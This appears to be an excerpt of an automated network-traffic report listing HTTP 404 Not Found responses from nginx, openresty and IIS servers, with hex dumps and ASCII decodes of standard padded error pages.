    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:48 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:48:48 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:48:43 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:49 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:48:44 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:48:56 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:48:57 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:58 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:58 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 